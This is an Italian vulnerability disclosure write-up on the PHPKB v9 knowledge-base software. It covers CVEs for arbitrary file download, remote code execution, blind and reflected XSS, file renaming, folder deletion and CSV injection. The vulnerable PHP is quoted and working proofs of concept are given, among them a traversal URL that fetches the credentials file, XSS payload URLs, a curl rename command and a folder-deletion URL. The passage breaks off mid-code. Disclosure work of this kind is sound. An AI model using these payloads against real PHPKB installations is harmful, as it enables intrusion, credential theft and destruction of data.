<-- torna indietro

Analisi di un sistema di knowledge base: PHPKB v9


Indice


Introduzione

PHPKB è un sistema di knowledge base che permette la condivisione di informazioni con i clienti e i membri dello staff. Inoltre riduce il tempo speso per il supporto clienti, migliora la produttività degli impiegati e consente di risparmiare tempo nella ricerca delle informazioni.

È dotato di diverse funzionalità, come ad esempio: la creazione, l’eliminazione e la modifica di categorie, articoli, template di articoli, commenti, ticket, glossario, notizie, utenti e gruppi. Altre funzionalità sono: gestione degli iscritti, supporto multilingua, visione delle statistiche, creazione di una sitemap e operazioni di backup e ripristino.

PHPKB può essere gestito da diversi tipi di utenti, ognuno dei quali possiede ruoli diversi:

  • Superutente
  • Redattore
  • Scrittore
  • Traduttore
  • Utente KB

Sono stati individuati diversi tipi di vulnerabilità, per ognuno dei quali viene, di seguito, riportata una spiegazione:

  • Cross-Site Scripting (XSS) (fonte): è un attacco di tipo injection che consente a un attaccante di inserire script malevoli all’interno di siti considerati attendibili. Iniettando script malevoli l’attaccante può ottenere privilegi di accesso al contenuto di pagine sensibili, ai cookie di sessione e a una varietà da altre informazioni gestite dal browser per conto dell’utente. Ci sono diversi tipi di XSS:
    • Reflected XSS: si verificano quando lo script iniettato dall’attacante viene “riflesso” dall’applicazione web, ad esempio in un messaggio d’errore, un risultato di ricerca e così via. Per “riflesso” si intende che la risposta del web server contiene l’input (o una parte di esso) inviato dall’utente nella richiesta;
    • Persistent XSS: si verificano quando l’input dell’attaccante viene inserito nella pagina e salvato sul web server e, in seguito, eseguito come script sulle pagine fornite agli utenti durante la normale navigazione;
    • Blind XSS: variante delle XSS persistenti. Si verificano quando l’input dell’attaccante viene salvato sul web server e, in seguito, eseguito come script malevolo in un’altra parte dell’applicazione o in un’altra applicazione;
  • Cross-Site Request Forgery (CSRF): un attaccante fa in modo che un utente vittima invii involontariamente una richiesta HTTP dal suo browser al sistema web in cui è attualmente autenticato; il sistema, vulnerabile al CSRF, avendo la certezza che la richiesta provenga dall’utente già precedentemente autenticato la esegue senza sapere che in realtà dietro di essa si cela un’azione pensata dall’attaccante, come per esempio un trasferimento di fondi, un acquisto di un oggetto, una richiesta di dati o qualsiasi altra funzione offerta dall’applicazione vulnerabile (fonte);

  • Remote Code Execution: questa vulnerabilità si manifesta quando l’input dell’utente viene inserito all’interno di un file o di una stringa ed eseguito dal parser del linguaggio di programmazione senza subire alcun tipo di controllo o filtraggio. Un attaccante, quindi, potrebbe essere in grado di compromettere l’intera applicazione web e/o il web server;

  • Arbitrary File Download: molte applicazioni web permettono agli utenti di scaricare uno o più file dal web server da una cartella prefissata. Se l’input dell’utente, utilizzato per acquisire file dal web server, non subisce alcun tipo di controllo o filtraggio, un attaccante potrebbe sfruttare questa vulnerabilità per scaricare, in maniera arbitraria, file sensibili (come ad esempio file di configurazione, database e così via) dal web server mediante l’utilizzo di “../” per saltare alle cartelle superiori (directory traversal);

  • Arbitrary Folder Deletion: questa vulnerabilità consente a un attaccante di eliminare, in maniera arbitraria, cartelle dal web server. Ciò potrebbe avere gravi conseguenze in quanto questo potrebbe eliminare l’intera applicazione web, cartelle importanti del server/sistema operativo, il database e così via;

  • Arbitrary Files and Folder Listing: questa vulnerabilità consente a un attaccante di ottenere la lista completa (o parziale) dei nomi dei file e delle cartelle presenti all’interno del web server;

  • Arbitrary File Renaming: questa vulnerabilità consente a un attaccante di rinominare, in maniera arbitraria, file presenti sul web server, causando un denial of service.

  • CSV Injection (fonte): questa vulnerabilità si manifesta quando applicazioni web inseriscono, senza prima effettuare alcun tipo di controllo o filtraggio, l’input dell’utente in un file csv. Quando un software spreadsheet, come ad esempio Microsoft Excel o LibreOffice Calc, viene utilizzato per aprire un file csv, tutte le celle che iniziano con ‘=’ vengono interpretate come formule. Queste possono essere utilizzate per effettuare tre tipi diversi di attacchi:
    • eseguire codice all’interno del computer dell’utente sfruttando vulnerabilità presenti all’interno del software spreadsheet;
    • eseguire codice all’interno del computer dell’utente sfruttando la tendenza che gli utenti hanno nell’ignorare avvisi di sicurezza relativi ai fogli di calcolo scaricati da una applicazione web fidata;
    • sottrarre contenuti presenti all’interno di altri fogli di calcolo;

Di seguito vengono mostrati i frammenti di codice per spiegare le vulnerabilità e i relativi exploit/proof of concept.

Authenticated Arbitrary File Download (CVE-2020-10387)

Exploit eseguibile dal: Superutente

File vulnerabile: admin/download.php

Il file admin/download.php consente di scaricare qualsiasi file specificato come paramentro GET file, infatti l’input dell’utente viene passato direttamente alla funzione file_get_contents() senza subire alcun tipo di controllo o filtraggio:

<?php
$authority_level = 'SEW'; 
include( __DIR__ . '/include/check-authority.php'); // Controlla se siamo autenticati come Superutente/Redattore/Scrittore/Traduttore
if(trim($_GET['called'])=='ajax'){ // Se il parametro GET called è impostato a ajax
	if($GLOBALS['session_admin_level']=='Superuser'){ // Se l'utente autenticato è il Superutente allora vengono caricate le funzioni di backup
		include_once('include/functions-backup.php');
	}
// Omissione di alcune linee di codice
		case 'backup-lang':
			$file	= trim($_GET['file']); // Il parametro GET file contiene il file che dovrà essere scaricato
			$folder	= trim($_GET['act'])=='backup-conf'?'include/':'languages/';
			if(file_exists($folder.$file)){
				$code		= (trim($_GET['act'])=='backup-conf'?'':'language-').substr($file, 0, strrpos($file,'.'));
				$file_name	= Get_Filename($code, '.bak', true);
				$data		= file_get_contents($folder.$file); // La funzione PHP file_get_contents() viene utilizzata per caricare il contenuto del file in una variabile
				Download_File($file_name, $data, false, true); // Il file viene scaricato
				exit();
			}

Possiamo quindi utilizzare ../ per saltare alle cartelle superiori e scaricare qualsiasi file presente sul web server. Il seguente proof of concept consente di scaricare il file di configurazione di PHPKB che contiene le credenziali SMPT e di accesso al database:

[PHPKB]/admin/download.php?called=ajax&act=backup-lang&file=../include/configuration.php

Video

Authenticated Remote Code Execution (CVE-2020-10386)

Exploit eseguibile da: Superutente/Redattore/Scrittore/Traduttore

File vulnerabile: admin/imagepaster/image-upload.php

Il file admin/imagepaster/image-upload.php viene eseguito quando un utente autenticato effettua il trascinamento (drag and drop) di una immagine nell’editor WYSIWYG.

<?php
if($_SESSION['admin_id_Session_ML']==''||$_SESSION['admin_username_Session_ML']==''){ // Controlla se siamo autenticati
	json_error('Access Denied. Please login to continue.');
}
// Omissione di alcune linee di codice
$mime = !empty( $_POST['imgMime'] ) ? $_POST['imgMime'] : null; // Il parametro POST imgMime viene utilizzato per specificare il MIME Type dell'immagine
$name = !empty( $_POST['imgName'] ) ? $_POST['imgName'] : null; // Il parametro POST imgName viene utilizzato per specificare il nome del file 
// Omissione di alcune linee di codice
$parts 	= explode('/', $mime); // Dividi la stringa del MIME Type in due parti, utilizzando come delimitatore lo slash /
$ext 	= empty( $parts[1] ) ? 'png' : $parts[1]; // Se la parte dopo lo slash non è vuota, impostala come come estensione del file, altrimenti imposta png 
// Omissione di alcune linee di codice
// Il file è caricato in una cartella temporanea predefinita
$target = $targetPath.'/'.$imageName.'.'.$ext; // Ci sono due vulnerabilità: la prima è che il contenuto della variabile imageName non viene controllato, quindi è possibile saltare alle cartelle superiori; stessa cosa per quanto riguarda la variabile ext, in questo caso possiamo scegliere l'estensione del file
	$source = $_FILES['file']['tmp_name']; // Acquisizione del percorso del file caricato nella cartella temporanea
	move_uploaded_file( $source, $target ); // Il file viene spostato dalla cartella temporanea nella cartella scelta

Come possiamo notare, il contenuto del parametro POST imageName, utilizzato per specificare il nome del file, non viene controllato, quindi è possibile fare uso di ../ per saltare alle cartelle superiori. Stessa cosa accade per il parametro imgMime, utilizzato per specificare il MIME Type dell’immagine, e ciò consente a un attaccante di specificare una qualsiasi estensione del file.

Per sfruttare questa vulnerabilità è necessario impostare il parametro POST imgMime a image/php, il parametro POST imgName a ../js/example.php e inserire codice eseguibile nel file che verrà utilizzato come proof of concept e che dovrà essere trascinato. Per evitare che l’upload venga bloccato a causa del file .htaccess, imposteremo la cartella /js/ come cartella di destinazione:

Video

Blind Cross-Site Scripting (CVE-2020-10388)

Exploit eseguibile da: Chiunque, inclusi utenti esterni non registrati

File vulnerabile: admin/report-referrers.php

Ogni volta che un utente visualizza un qualsiasi articolo, l’header Referer viene acquisito e salvato nel database per fini statistici. Il Superutente sarà in grado di visualizzare un resoconto relativo ai vari header Referer che sono stati acquisiti e le relative frequenze. Analizziamo, quindi, il file article.php:

<?php
// Omissione di alcuni costrutti include
include('include/functions.php'); // Inclusione di funzionalità comuni
// Omissione di alcune linee di codice e include
		Knowledgebase_Analytics(); // Qui viene chiamata la funzione vulnerabile, è necessario analizzare il file include/functions.php

La funzione vulnerabile è Knowledgebase_Analytics(), dettagliata nel file include/functions.php. Analizziamo, quindi, questo file:

<?php
// Omissione di alcune linee di codice
	case 'article.php':
		include( __DIR__ . '/functions-inline-edit.php'); // La funzione Knowledgebase_Analytics() non viene specificata in questo include
		include( __DIR__ . '/functions-article.php'); // La funzione Knowledgebase_Analytics() viene specificata in questo include
		include( __DIR__ . '/functions-articles-display.php'); // La funzione Knowledgebase_Analytics() non viene specificata in questo include
		break;

Qui vengono inclusi diversi file; la funzione vulnerabile si trova nel file include/functions-articles.php. Analizziamo, quindi, questo file:

<?php
// Omissione di alcune linee di codice
function Knowledgebase_Analytics() // La funzione viene definita qui
{ // Omissione di alcune linee di codice
		$referrer_url = urlencode($_SERVER['HTTP_REFERER']); // L'header Referer viene acquisito e viene applicata la codifica url
// Omissione di alcune linee di codice
		mysqli_query($GLOBALS['connection'], "INSERT INTO phpkb_referrers (referrer,referrer_url,referrer_date_time,article_id) VALUES('$referrer','$referrer_url',NOW(),{$GLOBALS['artid']})"); // L'header appena acquisito viene salvato nel database
}

Nell’ultimo passaggio, l’header Referer viene acquisito e salvato nel database.

Il file admin/report-referrers.php consente al Superutente di controllare tutti gli header Referer acquisiti dal sistema di knowledge base:

<?php
$authority_level= 'S'; // Accessibile solamente dal Superutente
// Omissione di alcune linee di codice
// $google/$yahoo/$bing/$other è il numero di Referer headers ordinati in base all'hostname
// $date_range viene utilizzato per quando è necessario filtrare la ricerca degli header Referer in base alla data specificata
// $id viene utilizzato per quando è necessario filtrare la ricerca degli header Referer in base a un articolo specificato
if($google){
	$google	= "<a id=\"google_link_id\" href=\"javascript:;\" onclick=\"javascript:commonOperations('referrer-detail||google_output||google_link_id||google||via-link||{$google}||{$date_range}||0||{$id}||1');\" title=\"View Detail\">{$google} <i class=\"fa fa-chevron-circle-down text-primary\"></i></a>";
}
if($yahoo){
	$yahoo	= "<a id=\"yahoo_link_id\" href=\"javascript:;\" onclick=\"javascript:commonOperations('referrer-detail||yahoo_output||yahoo_link_id||yahoo||via-link||{$yahoo}||{$date_range}||0||{$id}||1');\" title=\"View Detail\">{$yahoo} <i class=\"fa fa-chevron-circle-down text-primary\"></i></a>";
}
if($bing){
	$bing	= "<a id=\"bing_link_id\" href=\"javascript:;\" onclick=\"javascript:commonOperations('referrer-detail||bing_output||bing_link_id||bing||via-link||{$bing}||{$date_range}||0||{$id}||1');\" title=\"View Detail\">{$bing} <i class=\"fa fa-chevron-circle-down text-primary\"></i></a>";
}
if($other){
	$other = "<a id=\"other_link_id\" href=\"javascript:;\" onclick=\"javascript:commonOperations('referrer-detail||other_output||other_link_id||other||via-link||{$other}||{$date_range}||0||{$id}||1');\" title=\"View Detail\">{$other} <i class=\"fa fa-chevron-circle-down text-primary\"></i></a>";
}

L’acquisizione dell’header Referer è effettuata da una funzione Javascript. Sempre analizzando admin/report-referrers.php, due file Javascript vengono caricati all’interno della pagina:

<script src="js/ajax.js" type="text/javascript"></script>
<script src="js/common.js?v1.0.5" type="text/javascript"></script>

Il primo file Javascript, ajax.js, contiene la funzione ajaxObj che è un wrapper di XMLHttpRequest; il secondo file, common.js, specifica la modalità di acquisizione degli header Referer dal database. Analizziamo quest’ultimo file:

// Omissione di alcune linee di codice
function commonOperations(params)
{
	var _array	= params.split('||'); // La stringa viene suddivisa utilizzando || come delimitatore
// Omissione di alcune linee di codice
// La funzione commonOperations è molto grande, quindi ci focalizziamo solamente sul costrutto case vulnerabile
		case 'referrer-detail': // Mostra dettagli relativi agli header Referal
			var _tr_id = _array[3]+'_tr';
			var _vis= jQuery('#'+_tr_id).is(":visible");
			var _hid= jQuery('#'+_tr_id).is(":hidden");
 
			if(_array[4]=='via-btn'){
				// Non fare nulla
			}
			else{
				jQuery('#'+_tr_id).toggle({easing: 'swing'});
			}
 
			if((!_vis && _hid)||_array[4]=='via-btn'){
				_call		= 'yes';
				_divid		= _array[1];
				jQuery('#'+_array[2]).html(_array[5]+' <i class="fa fa-chevron-circle-up text-danger"></i>');
				var _range	= _array[6];
				_params		= "called=ajax&act="+_action+'&output='+_divid+'&linkid='+_array[2]+'&type='+_array[3]+'&cnt='+_array[5]+'&range='+_range+'&sf='+_array[7]+'&id='+_array[8]+'&page='+_array[9]; // Viene costruito l'url che verrà passato alla funzione ajaxObj
			}
			else{
				jQuery('#'+_array[2]).html(_array[5]+' <i class="fa fa-chevron-circle-down text-primary"></i>');
			}
			break;
// Omissione di alcune linee di codice
		new ajaxObj('include/operations.php', _divid, '', _params); // Viene inviata una richiesta, mediante l'utilizzo di ajaxObj, a include/operations.php

Gli header acquisiti vengono prelevati dal database attraverso una richiesta fatta a include/operations.php. Analizziamo, quindi, quest’ultimo file:

// Omissione di alcune linee di codice
			case 'referrer-detail':
		if($_SESSION['admin_level_Session_ML']=='Superuser') // Controlla se siamo autenticati come Superutente
				{ // Vengono estratti tutti i parametri fatti dalla richiesta inviata mediante l'utilizzo di ajaxObj
					$linkid		= trim($_POST['linkid']);
					$type		= trim($_POST['type']);
					$main_cnt	= (int)(trim($_POST['cnt']) > 0 ? trim($_POST['cnt']) : 0);
					$date_range	= trim($_POST['range']);
					$start_from	= (int)(trim($_POST['sf']) > 0 ? trim($_POST['sf']) : 0);
					$id		= (int)(trim($_POST['id']) > 0 ? trim($_POST['id']) : 0);
					$page		= (int)trim($_POST['page']);
// Omissione di alcune linee di codice
					$array		= explode('to', $date_range); // Il range della data viene diviso in due parti utilizzando to come delimitatore
					$from		= trim($array[0]); // La prima parte della stringa precedente è la data di inizio
					$to			= trim($array[1]); // La seconda parte della stringa precedente è la data di fine
// Omissione di alcune linee di codice
						$type = sanitizeInput($type); // La variabile type viene controllata e filtrata (blocco di attacchi di tipo sql-injection)
						$WHERE_part	= " WHERE (DATE(referrer_date_time) BETWEEN '".sanitizeInput($from)."' AND '".sanitizeInput($to)."') AND referrer IN({$type_query}) ".($id > 0 ? " AND article_id={$id}" : '')." AND phpkb_articles.article_id=phpkb_referrers.article_id {$AND_Language_Query}";
						$query	= "	SELECT referrer_id, referrer_url, referrer_date_time, phpkb_articles.article_id 
									FROM phpkb_referrers, phpkb_articles 
									{$WHERE_part} 
									ORDER BY referrer_date_time DESC 
									LIMIT {$start_from},{$results_perpage}";
						$result	= mysqli_query($GLOBALS['connection'], $query); // Viene costruita ed eseguita la query sql che estrae gli header Referer dal database
// Omissione di alcune linee di codice
							while($row = mysqli_fetch_assoc($result)) // Per ogni riga ottenuta dalla precedente query
							{
								$origin	= urldecode($row['referrer_url']);
								$url	= parse_url(urldecode($row['referrer_url']));
								$domain	= $url['host']; // Qui si trova la vulnerabilità: l'host viene estratto dall'header Referer senza essere controllato
								$path	= $url['path'];
								$date	= convertDateTime($row['referrer_date_time'],1,'b','at');
								$title	= mysqli_result(mysqli_query($GLOBALS['connection'], 'SELECT article_title FROM phpkb_articles WHERE article_id='.$row['article_id']),0,0);
								$title	= $title=='' ? $unknown_tpl : "<a href=\"{$GLOBALS['path_kb']}/article.php?id={$row['article_id']}\" target=\"_blank\" class=\"text-success\">{$title}</span></a> ";
								$host   = $domain; // Il contenuto della variabile domain viene copiato nella variabile host
// Omissione di alcune linee di codice
								$tableRows .= "<tr>
													<td width=\"7%\">$sno</td>
													<td width=\"23%\">{$host}</td>
													<td width=\"25%\">{$keywords}</td>
													<td>{$title}</td>
													<td width=\"18%\">{$date}</td>
												</tr>"; // Qui l'host dell'header Referer viene inserito nella pagina web

Come possiamo notare, viene costruita ed eseguita la query sql che estrae gli header Referer dal database: ognuno di questi viene estratto e inserito all’interno della pagina corrente (admin/report-referrers.php) senza subire alcun tipo di controllo o filtraggio. Il seguente proof of concept dimostra la vulnerabilità:

Video

Authenticated Remote Code Execution (CVE-2020-10389)

Exploit sfruttabile dal: Superutente

File vulnerabile: admin/save-settings.php

Il file admin/save-settings.php consente di modificare le impostazioni globali di PHPKB:

<?php
if($session_admin_level=='Superuser') // Controlla se siamo autenticati come Superutente
{
	if($_POST['submit']=='' && $_POST['submit_hd']==''){ // Se i parametri POST submit e submit_hd sono vuoti viene effettuato un redirect alla pagina index.php
		header('location:index.php');
		exit();
	}
// Omissione di alcune linee di codice
// Ci sono più di 50 punti di injection per effettuare una remote code execution, prenderò come esempio il primo punto, cioè putdown_for_maintenance
		$putdown_for_maintenance = $_POST['putdown_for_maintenance']!='' ? $_POST['putdown_for_maintenance'] : 'no'; // Il parametro POST putdown_for_maintenance viene copiato all'interno della variabile putdown_for_maintenance
// Omissione di alcune linee di codice
// Da questo momento in poi viene definito il contenuto che dovrà essere scritto all'interno del file di configurazione
		$configure = "<?php".PHP_EOL;
		$configure .= "// WARNING: Do not make any changes directly in this file as it may make the 'PHPKB Knowledge Base Software' to stop working properly.".PHP_EOL.PHP_EOL;
 
		$configure .= "// PHPKB Professional Status Settings ".PHP_EOL;
		$configure .= "\$putdown_for_maintenance  = '{$putdown_for_maintenance}';".PHP_EOL.PHP_EOL; // La nostra variabile viene inserita nel file senza essere prima controllata
 
		$configure .= "// General Settings ".PHP_EOL;
		$configure .= "\$kbName		= \"".stripslashes($kbName)."\";".PHP_EOL;
// Omissione di alcune linee di codice
				$fp = fopen('include/configuration.php', 'wb'); // Apriamo il file include/configuration.php in modalità wb
				if($fp) // Verifica se siamo in grado di aprire il file
				{
					fwrite($fp, $configure); // Il contenuto appena definito viene scritto
					fclose($fp);

Come possiamo notare, l’input dell’utente, acquisito mediante il parametro POST putdown_for_maintenance, viene scritto direttamente all’interno del file admin/include/configuration.php senza essere prima controllato o filtrato. Un attaccante potrebbe, quindi, effettuare una remote code execution mediante l’utilizzo della funzione PHP system().

Il codice inserito verrà eseguito visitando il file index.php o qualsiasi altro file che include il file di configurazione. Il seguente proof of concept dimostra la vulnerabilità attraverso l’esecuzione del comando dir:

Video

Out of Band (blind) Authenticated Remote Code Execution (CVE-2020-10390)

Exploit sfruttabile dal: Superutente

File vulnerabile: admin/save-settings.php

Il file admin/save-settings.php consente di modificare le impostazioni globali di PHPKB. Fra queste abbiamo la possibilità di impostare il percorso (cioè la posizione all’interno del server) di wkhtmltopdf, un programma che consente di convertire pagine html in documenti pdf.

<?php
if($session_admin_level=='Superuser') // Controlla se siamo autenticati come Superutente
{
	if($_POST['submit']=='' && $_POST['submit_hd']==''){ // Se i parametri POST submit e submit_hd sono vuoti, effettua un reindirizzamento a index.php
		header('location:index.php');
		exit();
	}
// Omissione di alcune linee di codice
			$wkhtmltopdf_path	= function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()===1 ? trim(stripslashes($_POST['wkhtmltopdf_path'])) : trim($_POST['wkhtmltopdf_path']); // Il valore del parametro POST wkhtmltopdf_path viene copiato all'interno della variabile wkhtmltopdf_path
// Omissione di alcune linee di codice
// Da questo momento in poi viene definito il contenuto che dovrà essere scritto all'interno del file di configurazione
		$configure = "<?php".PHP_EOL;
// Omissione di alcune linee di codice
		$configure .= "\$wkhtmltopdf_path			= \"$wkhtmltopdf_path\";".PHP_EOL; // La nostra variabile viene inserita nel file senza essere prima controllata
// Omissione di alcune linee di codice
				$fp = fopen('include/configuration.php', 'wb'); // Apriamo il file include/configuration.php in modalità wb
				if($fp) // Verifica se siamo in grado di aprire il file
				{
					fwrite($fp, $configure); // Il contenuto appena definito viene scritto
					fclose($fp);

Come possiamo notare, il percorso di wkhtmltopdf viene acquisito dall’utente mediante il parametro POST wkhtmltopdf_path e salvato nel file di configurazione senza subire alcun tipo di controllo o filtraggio. Un attacante può, quindi, inserire un qualsiasi percorso o comando e, per poter sfruttare questa vulnerabilità, deve trovare un modo per far eseguire all’applicazione web ciò che è contenuto nella variabile wkhtmltopdf_path. Ad esempio, potrebbe sfruttare il fatto che PHPKB permetta a chiunque di creare una copia pdf di un articolo. Questa viene creata dal file export.php:

<?php
// Omissione di alcuni include
include('include/functions.php');
// Omissione di alcuni include
$artid = (int)trim($_GET['id']); // Viene acquisito, mediante il parametro GET id, l'id dell'articolo da esportare come pdf
if($artid > 0)
{
	if($_GET['type']=="PDF"){ // Se il parametro GET type è impostato in pdf, chiama la funzione Articles_Detail()
		Articles_Detail('PDF');
	}
	else{
		Articles_Detail('MSWORD');
	}
}
else{
	echo "<h1>Access Denied</h1>";	
}
?>

La funzione vulnerabile è Articles_Detail(), definita all’interno del file include/functions.php. Analizziamo, quindi, questo file:

<?php
	case 'email.php':
	case 'export.php':
	case 'ajax.php':
	case 'subscribe.php':
		include( __DIR__ . '/functions-article.php');
		break;

All’interno di questo file viene incluso il file include/functions-article.php. Analizziamo, quindi, questo file:

<?php
// Omissione di alcune linee di codice e include
						$WKHTMLTOPDF = $GLOBALS['wkhtmltopdf_path']; // Il valore della variabile wkhtmltopdf_path, letta dal file di configurazione, viene assegnata alla variabile $WKHTMLTOPDF
// Omissione di alcune linee di codice
						$output		= shell_exec("$WKHTMLTOPDF {$footerCmd} {$headerCmd} $html_path $pdf_path"); // La variabile $WKHTMLTOPDF viene passata alla funzione shell_exec() che consente l'esecuzione di codice

Come possiamo notare, il valore della variabile wkhtmltopdf_path viene letto dal file di configurazione e passato alla funzione shell_exec(). Ciò permette a un attaccante di effettuare una remote code execution che, in questo caso, è di tipo blind (ovvero è in grado di eseguire codice ma non di vederne l’output). Il seguente proof of concept effettua un ping al nostro server per dimostrare la vulnerabilità:

Video

Reflected Cross-Site Scripting in tutte le pagine del pannello di amministrazione (da CVE-2020-10391 fino a CVE-2020-10456)

Exploit eseguibile da: Superutente/Redattore/Scrittore

File vulnerabile: admin/header.php

Questa vulnerabilità è presente in queste pagine:

  • admin/add-article.php
  • admin/add-category.php
  • admin/add-field.php
  • admin/add-glossary.php
  • admin/add-group.php
  • admin/add-language.php
  • admin/add-news.php
  • admin/add-template.php
  • admin/add-user.php
  • admin/article-collaboration.php
  • admin/edit-article.php
  • admin/edit-category.php
  • admin/edit-comment.php
  • admin/edit-field.php
  • admin/edit-glossary.php
  • admin/edit-group.php
  • admin/edit-news.php
  • admin/edit-subscriber.php
  • admin/edit-template.php
  • admin/edit-user.php
  • admin/email-harvester.php
  • admin/import-csv.php
  • admin/import-html.php
  • admin/index-attachments.php
  • admin/index.php
  • admin/kb-backup.php
  • admin/manage-articles.php
  • admin/manage-attachments.php
  • admin/manage-categories.php
  • admin/manage-comments.php
  • admin/manage-departments.php
  • admin/manage-drafts.php
  • admin/manage-feedbacks.php
  • admin/manage-fields.php
  • admin/manage-glossary.php
  • admin/manage-groups.php
  • admin/manage-languages.php
  • admin/manage-news.php
  • admin/manage-settings.php
  • admin/manage-subscribers.php
  • admin/manage-templates.php
  • admin/manage-tickets.php
  • admin/manage-users.php
  • admin/manage-versions.php
  • admin/my-languages.php
  • admin/my-profile.php
  • admin/optimize-database.php
  • admin/reply-ticket.php
  • admin/report-article-discussed.php
  • admin/report-article-mailed.php
  • admin/report-article-monthly.php
  • admin/report-article-popular.php
  • admin/report-article-printed.php
  • admin/report-article-rated.php
  • admin/report-article.php
  • admin/report-category.php
  • admin/report-failed-login.php
  • admin/report-referrers.php
  • admin/report-search.php
  • admin/report-traffic.php
  • admin/report-user.php
  • admin/save-article.php
  • admin/search-users.php
  • admin/sitemap-generator.php
  • admin/translate.php
  • admin/trash-box.php

Ad esempio analizziamo il file admin/add-article.php:

<?php
$authority_level= 'SEW'; // Controlla se siamo autenticati come Superutente/Redattore/Scrittore
// Omissione di alcune linee di codice
include( __DIR__ . '/include/check-authority.php'); // La variabile vulnerabile è definita in questo include
// Omissione di alcune linee di codice e di include
			<!-- Header - STARTS -->
			<?php include_once('header.php'); ?> // La variabile vulnerabile viene stampata qui
			<!-- Header - ENDS -->

Vengono inclusi nella pagina due file: admin/include/check-authority.php e admin/header.php. Nel primo viene definita la variabile vulnerabile mentre nel secondo questa viene stampata. Analizziamo, quindi, il primo file:

<?php
// Omissione di alcune linee di codice
$REQUEST_URI= $_SERVER['REQUEST_URI']; // Acquisisci l'uri della pagina corrente
$_tmp_array	= explode('/',$REQUEST_URI); // Dividi l'uri in un array di stringhe, utilizzando come delimitatore lo slash /
// Omissione di alcune linee di codice
$lang_header = $_tmp_array[count($_tmp_array)-1]; // Salva nella variabile lang_header il nome del file preso in considerazione (add-article.php) con i vari parametri e relativi valori dell'uri

Come possiamo notare, l’uri della pagina corrente viene prima acquisito, poi diviso in un array di stringhe utilizzando come delimitatore lo slash / e, infine, l’ultimo valore di questo array viene salvato nella variabile lang_header. Questo valore corrisponde al nome del file preso in considerazione (add-article.php) con le coppie parametri-valori dell’uri.

Il file admin/header.php stampa la variabile lang_header senza effettuare alcun tipo di controllo o filtraggio. Analizziamo, quindi, questo file:

<?php
// Omissione di alcune linee di codice
					<button type="button" class="btn btn-warning" data-dismiss="modal" onclick="<?php echo "commonOperations('lang-change-alert||0||0||{$lang_header}||{$_GET_exists}||{$HIDDEN_lang_id}')"; ?>">Yes, do it</button> // La variabile lang_header viene stampata nella pagina senza essere stata controllata

Questo file viene incluso all’interno della lista dei file indicati in precedenza, rendendoli tutti vulnerabili. Di seguito vengono riportati alcuni proof of concept:

[PHPKB]/admin/index.php?test='"/><marquee/onstart=confirm(1)>

Universal XSS 1

[PHPKB]/admin/my-profile.php?test='"/><marquee/onstart=confirm(1)>

Universal XSS 2

[PHPKB]/admin/trash-box.php?test='"/><marquee/onstart=confirm(1)>

Universal XSS 3

Arbitrary File Renaming (CVE-2020-10457)

Exploit sfruttabile da: Superutente/Redattore/Scrittore/Traduttore

File vulnerabile: admin/imagepaster/image-renaming.php

Il file admin/imagepaster/image-renaming.php consente di rinominare solo immagini; tuttavia, dato che non viene effettuato alcun tipo di controllo o filtraggio sull’estensione, è possibile rinominare qualsiasi tipo di file. Inoltre, non viene fatto alcun controllo sul percorso, quindi è possibile utilizzare ../ per saltare alle cartelle superiori.

<?php
// Omissione di alcune linee di codice
$imgUrl 	= trim( $_POST['imgUrl'] ); // Il contenuto del parametro POST imgUrl viene copiato all'interno della variabile imgUrl; questa conterrà il percorso della immagine che vogliamo rinominare
$imgNewName =  trim( $_POST['imgName'] ) ; // Il contenuto del parametro POST imgName viene copiato nella variabile imgNewName; questa conterrà il nuovo nome dell'immagine
// Omissione di alcune linee di codice
if(!rename($imgRelPath,$newRelPath)){ // Qui viene effettuato il cambio del nome del file mediante l'utilizzo della funzione PHP rename()
	json_error('Error in renaming file.');
}

Il seguente proof of concept rinomina il file admin/include/configuration.php causando un denial of service:

curl --cookie "phpkb-rvaids=1; PHPSESSID=XYZXYZXYZ" -d "imgUrl=../../assets/../admin/include/configuration.php&imgName=test" [PHPKB]/admin/imagepaster/image-renaming.php

Video

Arbitrary Folder Deletion (CVE-2020-10458)

Exploit sfruttabile da: Superutente/Redattore/Scrittore/Traduttore

File vulnerabile: admin/assetmanager/operations.php

Il file admin/assetmanager/operations.php acquisice dall’utente due parametri GET: il primo, action, viene utilizzato per definire l’operazione da eseguire e il secondo, crdir, viene utilizzato per indicare la cartella da prendere in considerazione. Se il parametro GET action è impostato a df si ha l’eliminazione della cartella specificata nel parametro crdir.

<?php
include_once('../include/session-check.php'); // Controlla se siamo autenticati
// Omissione di alcune linee di codice
$_action 	= $_GET['action']; // Il valore del parametro GET action viene associato alla variabile _action; questa viene utilizzata per definire l'operazione da eseguire
$crdir 		= trim(urldecode($_GET['crdir'])); // Il valore del parametro GET crdir è assegnato alla variabile crdir; questa rappresenta la cartella che vogliamo prendere in considerazione
switch($_action)
{
$dir = $crdir; // Il contenuto della variabile crdir è copiato nella variabile dir
// Omissione di alcune linee di codice
	case 'df': // Se la variabile _action è uguale a df, allora avviene l'eliminazione della cartella specificata nella variabile dir
		$handle = opendir($dir); // Apre l'handle della cartella
		while($file = readdir($handle)) if($file != "." && $file != "..") unlink($dir . "/" . $file); // Elimina tutti i file della cartella e la cartella
		closedir($handle); // Chiude l'handle della cartella

Dato che non viene effettuato alcun tipo di controllo sul parametro GET crdir, è possibile utilizzare ../ per saltare alle cartelle superiori, consentendo così a un attaccante di eliminare qualsiasi cartella dal web server.

Il seguente proof of concept elimina la cartella admin/include causando un denial of service:

[PHPKB]/admin/assetmanager/operations.php?action=df&crdir=..%2Finclude

Video

CSV Injection (CVE-2020-10460)

Exploit eseguibile dal: Superutente

File vulnerabile: admin/include/operations.php

Il file admin/email-harvester.php consente al Superutente di esportare, nel formato csv, le email presenti all’interno del sistema di knowledge base. Analizziamo, quindi, questo file:

<script src="js/harvester.js" type="text/javascript"></script> // Questo file contiene funzionalità relative all'estrazione di email e si interfaccia con il web server per la creazione del file csv

All’interno del file troviamo un riferimento a un altro file, chiamato js/harvester.js. Analizziamo quest’ultimo file:

		case 'export-csv':
			if(f.extractedmails.value==''){ // Se non ci sono email da estrarre, mostra un errore
				jQuery('#atleast_one_email').modal('show'); 
				//alert('Specify at least one email address for export to csv'); 
				return;
			}
			var data 	 = f.extractedmails.value.replace(/\n\r?/g, '||'); // Rimpiazza il carattere a capo con ||
			passParams  += 'data='+encodeURI(data);
			passParams  += '&called=ajax&act=harvest&sub_act=csvexport'; // Prepara i parametri che dovranno essere inviati al web server
 
			$.ajax({
				url:"include/operations.php", // Invia i parametri al file admin/include/operations.php
				type:"post",
				data:passParams,
				success:function(result){
		      		$("#"+subject_id).html(result);
					$('html, body').animate({
